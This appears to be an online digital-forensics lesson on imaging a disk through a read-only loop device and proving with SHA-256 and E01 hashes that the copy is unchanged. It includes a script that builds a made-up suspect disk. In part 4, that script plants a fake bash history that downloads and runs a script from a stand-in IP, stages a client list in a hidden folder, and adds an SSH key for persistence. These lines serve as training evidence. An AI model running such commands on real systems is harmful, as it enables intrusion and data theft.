Can you prove nothing changed?
A laptop and a USB stick are handed to you after a client list goes missing. Months later, in a hearing, someone asks one question: how do you know your copy is what was on that stick?
This lesson is the answer. You copy a whole disk without writing to it, fingerprint the copy and store the proof inside the image.
By the end of this lesson
Note
I can acquire a disk image and prove with a hash that it was not changed.
Key words
| Word | What it means | Example |
|---|---|---|
| Acquisition | making a forensic copy of evidence | |
| Disk image | a copy of every byte of a disk | |
| Write blocker | something that stops writes to the evidence | |
| Hash | a short fingerprint worked out from data | sha256sum disk.raw |
| E01 | an image format that stores its own hash and notes |
The cells students fill in are left blank in this preview.
Starter
Have a go
Starter
4 questionsThe one rule
Important
Image only your own lab copy. Copying someone else's disk or memory needs their written permission or a lawful order. Unauthorised access to computer material is an offence under the Computer Misuse Act 1990. The firm, its staff and its files here are made up.
A disk made for this lesson
Your VM has no second disk, so a script makes one: a 64 MB disk image of a made-up firm's USB stick and laptop folder. It is built from a fixed seed, so every student gets the same bytes.
First install The Sleuth Kit and the other tools from Ubuntu's archive. Then write the script and run it.
Make the module's folder and install the tools
mkdir -p ~/forensics && cd ~/forensics && sudo apt-get install -y -qq sleuthkit dosfstools ewf-tools dcfldd foremost python3-venv fileShown here, not run. Press Start lab to type it into your own lab’s terminal.
Write the disk maker, part 1
printf '%s\n' 'import calendar, os, random, struct, subprocess, zipfile, zlib' 'R = random.Random(121)' 'NL = chr(10)' 'os.makedirs("src", exist_ok=True)' 'def T(s):' ' return calendar.timegm((2026, int(s[:2]), int(s[2:4]), int(s[5:7]), int(s[7:9]), int(s[9:11])))' 'def png(n, seed):' ' r = random.Random(seed)' ' raw = b"".join(bytes([0] + [r.randrange(256) for i in range(n * 3)]) for y in range(n))' ' ch = lambda k, d: struct.pack(">I", len(d)) + k + d + struct.pack(">I", zlib.crc32(k + d))' ' return bytes([137, 80, 78, 71, 13, 10, 26, 10]) + ch(b"IHDR", struct.pack(">IIBBBBB", n, n, 8, 2, 0, 0, 0)) + ch(b"IDAT", zlib.compress(raw, 9)) + ch(b"IEND", b"")' 'PDF = NL.join(["%PDF-1.4", "1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj", "2 0 obj << /Type /Pages /Kids [] /Count 0 >> endobj",' ' "BT (Larkfield Design quote for Harbour Cafe: 570 pounds. Made up for the lab.) Tj ET", "%%EOF"]).encode()' > mkdisk.pyShown here, not run. Press Start lab to type it into your own lab’s terminal.
Write the disk maker, part 2
printf '%s\n' 'F = ["Amira", "Ben", "Chloe", "Dev", "Ella", "Femi", "Grace", "Hugo", "Isla", "Jon"]' 'L = ["Ward", "Okoro", "Lund", "Shah", "Reyes", "Kemp", "Marsh", "Ito", "Nash", "Bell"]' 'rows = ["name,email,company,spend"]' 'for i in range(40):' ' f, l = R.choice(F), R.choice(L)' ' rows.append("%s %s,%s.%s@client%d.example,Client %d Ltd,%d" % (f, l, f.lower(), l.lower(), i, i, R.randrange(200, 9000)))' 'CSV = NL.join(rows)' 'subprocess.run(["mkfs.fat", "-F", "16", "-s", "4", "-n", "LARKUSB", "--invariant", "-C", "fat.img", "32768"], check=True, capture_output=True)' 'fat = bytearray(open("fat.img", "rb").read())' 'bps, spc, res, nf, roots = struct.unpack_from("<HBHBH", fat, 11)' 'fs = struct.unpack_from("<H", fat, 22)[0]' 'root = (res + nf * fs) * bps' 'data, cs, nxt = root + roots * 32, bps * spc, [2]' 'def link(n, v):' ' for k in range(nf):' ' struct.pack_into("<H", fat, (res + k * fs) * bps + 2 * n, v)' 'def put(slot, name, blob, when):' >> mkdisk.pyShown here, not run. Press Start lab to type it into your own lab’s terminal.
Write the disk maker, part 3
printf '%s\n' ' blob = blob if type(blob) is bytes else (blob + NL).encode()' ' first, count = nxt[0], max(1, -(-len(blob) // cs))' ' nxt[0] += count' ' for n in range(first, first + count):' ' link(n, n + 1 if n < first + count - 1 else 0xFFFF)' ' fat[data + (first - 2) * cs:data + (first - 2) * cs + len(blob)] = blob' ' m, d, h, mi, s = [int(when[a:a + 2]) for a in (0, 2, 5, 7, 9)]' ' t, dt = (h << 11) | (mi << 5) | (s // 2), (46 << 9) | (m << 5) | d' ' b, e = name.split(".")' ' fat[root + slot * 32:root + slot * 32 + 32] = struct.pack("<8s3sBBBHHHHHHHI", b.ljust(8).encode(), e.encode(), 32, 0, 0, t, dt, dt, 0, t, dt, first, len(blob))' 'def drop(slot):' ' first, size = struct.unpack_from("<HI", fat, root + slot * 32 + 26)' ' for n in range(first, first + max(1, -(-size // cs))):' ' link(n, 0)' ' fat[root + slot * 32] = 0xE5' 'put(1, "BRIEF.TXT", "Harbour Cafe rebrand: new logo by October. (made up)", "0920 100214")' >> mkdisk.pyShown here, not run. Press Start lab to type it into your own lab’s terminal.
Write the disk maker, part 4
printf '%s\n' 'put(2, "OLDPHOTO.PNG", png(48, 2), "0920 100340")' 'put(3, "PRICES.CSV", "item,price" + NL + "logo,450", "0920 100502")' 'put(4, "QUOTE.PDF", PDF, "0920 100630")' 'put(5, "LOGO.PNG", png(16, 5), "0920 100712")' 'drop(2)' 'drop(4)' 'put(2, "TODO.TXT", "Send the cafe its menu boards.", "0928 142000")' 'put(4, "MAP.TXT", "Harbour Cafe, 4 Quay Street (made up)", "0928 142110")' 'put(6, "CLIENTS.CSV", CSV, "1014 225012")' 'drop(6)' 'open("fat.img", "wb").write(fat)' 'H = [("213730", "curl -s -o Downloads/sync-tool.sh http://203.0.113.77/s.sh"), ("213745", "bash Downloads/sync-tool.sh"),' ' ("214310", "mkdir -p .cache/.s"), ("214402", "zip -q .cache/.s/c.zip Documents/clients.csv"), ("214615", "rm Downloads/sync-tool.sh"),' ' ("214730", "cat k.pub >> .ssh/authorized_keys"), ("215012", "cp Documents/clients.csv /media/jmorgan/LARKUSB/"),' ' ("215130", "rm /media/jmorgan/LARKUSB/CLIENTS.CSV")]' >> mkdisk.pyShown here, not run. Press Start lab to type it into your own lab’s terminal.
Write the disk maker, part 5
printf '%s\n' 'KEYS = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJmorgan" + "0" * 34 + " jmorgan@lark-lt07" + NL + "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMadeUpLabKey" + "0" * 26 + " [email protected]"' 'with zipfile.ZipFile("src/c.zip", "w", zipfile.ZIP_DEFLATED) as z:' ' z.writestr(zipfile.ZipInfo("Documents/clients.csv", (2026, 10, 14, 22, 44, 2)), CSV + NL)' 'J, A, D, X = "home/jmorgan/", "0803 080000", "1014 090000", "0803 083000"' 'ITEMS = [("etc", None, A, A, D), ("home", None, A, A, D), (J[:-1], None, A, A, D), (J + "Documents", None, A, A, D),' ' (J + "Downloads", None, A, "1014 214615", D), (J + ".ssh", None, A, A, D), (J + ".cache", None, X, "1014 214310", "1014 214310"),' ' (J + ".cache/.s", None, "1014 214310", "1014 214402", "1014 214402"), ("etc/hostname", "lark-lt07", A, A, "1014 090005"),' ' (J + "Documents/clients.csv", CSV, "0901 091000", "1002 162044", "1014 214402"),' >> mkdisk.pyShown here, not run. Press Start lab to type it into your own lab’s terminal.
Write the disk maker, part 6
printf '%s\n' ' (J + "Documents/notes.txt", "Call Harbour Cafe on Friday about the menu boards.", "1012 113000", "1012 113109", "1013 081500"),' ' (J + "Downloads/brochure.txt", "Larkfield Design: logos, signs and menus. (made up)", "1005 130000", "1005 130000", "1005 130200"),' ' (J + "Downloads/sync-tool.sh", "echo This stands in for a downloaded tool. It was made up for the lab and does nothing.", "1014 213731", "1014 213731", "1014 213745"),' ' (J + ".ssh/authorized_keys", KEYS, X, "1014 214730", "1013 080000"),' ' (J + ".bash_history", NL.join("#%d" % T("1014 " + t) + NL + c for t, c in H), X, "1014 215205", "1014 090012"),' ' (J + ".cache/.s/c.zip", open("src/c.zip", "rb").read(), "1014 214402", "1014 214402", "1014 214402")]' 'cmds = []' 'for n, (path, blob, born, mod, acc) in enumerate(ITEMS):' ' if blob is None:' ' cmds.append("mkdir " + path)' ' else:' >> mkdisk.pyShown here, not run. Press Start lab to type it into your own lab’s terminal.
Write the disk maker, part 7
printf '%s\n' ' open("src/f%d" % n, "wb").write(blob if type(blob) is bytes else (blob + NL).encode())' ' cmds.append("write src/f%d %s" % (n, path))' ' own = "1000" if path.startswith(J[:-1]) else "0"' ' cmds += ["sif %s uid %s" % (path, own), "sif %s gid %s" % (path, own)]' ' cmds += ["sif %s %s @%d" % (path, f, T(when)) for f, when in [("crtime", born), ("mtime", mod), ("ctime", mod), ("atime", acc)]]' 'G, tool = T("1014 214615"), J + "Downloads/sync-tool.sh"' 'cmds += ["punch %s 0" % tool, "sif %s size 0" % tool, "sif %s ctime @%d" % (tool, G), "rm " + tool]' 'open("src/cmds", "w").write(NL.join(cmds) + NL)' 'env = dict(os.environ, E2FSPROGS_FAKE_TIME=str(T(A)), TZ="UTC")' 'subprocess.run(["mkfs.ext4", "-q", "-F", "-b", "4096", "-I", "256", "-L", "LARKHOME", "-U", "6c61726b-0000-4000-8000-000000000121",' ' "-E", "hash_seed=6c61726b-0000-4000-8000-000000000122", "ext.img", "31M"], check=True, env=env)' >> mkdisk.pyShown here, not run. Press Start lab to type it into your own lab’s terminal.
Write the disk maker, part 8
printf '%s\n' 'env["E2FSPROGS_FAKE_TIME"] = str(G)' 'subprocess.run(["debugfs", "-w", "-f", "src/cmds", "ext.img"], check=True, env=env, capture_output=True)' 'with open("suspect.img", "wb") as disk:' ' disk.truncate(131072 * 512)' 'table = NL.join(["label: dos", "label-id: 0x4c41524b", "start=2048, size=65536, type=6", "start=67584, type=83", ""])' 'subprocess.run(["sfdisk", "-q", "suspect.img"], input=table.encode(), check=True)' 'with open("suspect.img", "r+b") as disk:' ' for at, name in [(2048, "fat.img"), (67584, "ext.img")]:' ' disk.seek(at * 512)' ' disk.write(open(name, "rb").read())' ' os.remove(name)' 'print("suspect.img written: 64 MB, two partitions")' >> mkdisk.pyShown here, not run. Press Start lab to type it into your own lab’s terminal.
Make the suspect disk
python3 mkdisk.pyShown here, not run. Press Start lab to type it into your own lab’s terminal.
A write blocker comes first
Plugging a disk into a computer can change it: the system may mount it, update times or repair it. A write blocker sits between the disk and the computer and refuses every write.
Here the disk is a file, so Linux attaches it as a read-only loop device. That is the lab's stand-in for a hardware blocker.
Attach the disk read-only and check it
LOOP=$(sudo losetup --find --show --read-only suspect.img) && echo $LOOP && sudo blockdev --getro $LOOPShown here, not run. Press Start lab to type it into your own lab’s terminal.
Try to write one sector to it
sudo dd if=/dev/zero of=$LOOP count=1Shown here, not run. Press Start lab to type it into your own lab’s terminal.
Check
Have a go
Check
3 questionsHash while you copy
Acquisition reads every sector, in order, into a file. dcfldd is dd with a forensic habit: it works out a hash as it copies and writes it to a log.
You then hash the copy separately. Two tools agreeing is the proof you keep with the image.
Image the disk, hash it, then check
sudo dcfldd if=$LOOP of=disk.raw hash=sha256 hashlog=disk.raw.sha256 status=off && cat disk.raw.sha256 && sha256sum disk.raw suspect.imgShown here, not run. Press Start lab to type it into your own lab’s terminal.
An E01 carries its own proof
A raw image is just bytes. An E01 file, from EnCase, compresses the disk and stores the case number, the examiner, notes and a hash inside the image.
ewfverify reads the image back and checks it against that stored hash. Empty space compresses well, so the file is small.
Acquire the disk again as an E01
sudo ewfacquire -u -t disk -c deflate:best -C case-121 -D "Larkfield laptop and stick" -e student -E item-1 -N "made up for the lab" $LOOP && ls -l disk.raw disk.E01Shown here, not run. Press Start lab to type it into your own lab’s terminal.
Check the E01, then detach the disk
ewfverify -q disk.E01 && sudo losetup -d $LOOPShown here, not run. Press Start lab to type it into your own lab’s terminal.
A common mistake
Warning
Many people think a matching hash proves the evidence is genuine. It proves only that the copy is the same as what was hashed at acquisition. Where that disk came from, and who held it, is the chain of custody's job.
Check
Have a go
Check
3 questionsTry it: change one character
import hashlib
evidence = b"Larkfield Design, client list, 40 rows"
copy = b"Larkfield Design, client list, 40 rows"
print(hashlib.sha256(evidence).hexdigest()[:16])
print(hashlib.sha256(copy).hexdigest()[:16])
print(hashlib.sha256(evidence).hexdigest() == hashlib.sha256(copy).hexdigest())
# Change 40 to 41 in copy only, then press Run.
Make a free account to save your work and track your progress.
Assignment: verify an acquisition
sha256_of(chunks) returns the SHA-256 hex digest of a list of byte strings read one after another, as an imager reads a disk.
logged_hash(text) returns the hex digest from a dcfldd hash log such as Total (sha256): ab12..., in lower case, or None if there is no such line.
verified(log_text, sum_line) takes a dcfldd hash log and one line printed by sha256sum (<digest> <file name>) and returns True only when the log has a digest and the two digests are the same, ignoring case.
import hashlib
def sha256_of(chunks):
return ""
def logged_hash(text):
return None
def verified(log_text, sum_line):
return False
Make a free account to save your work and track your progress.
Exit quiz
Have a go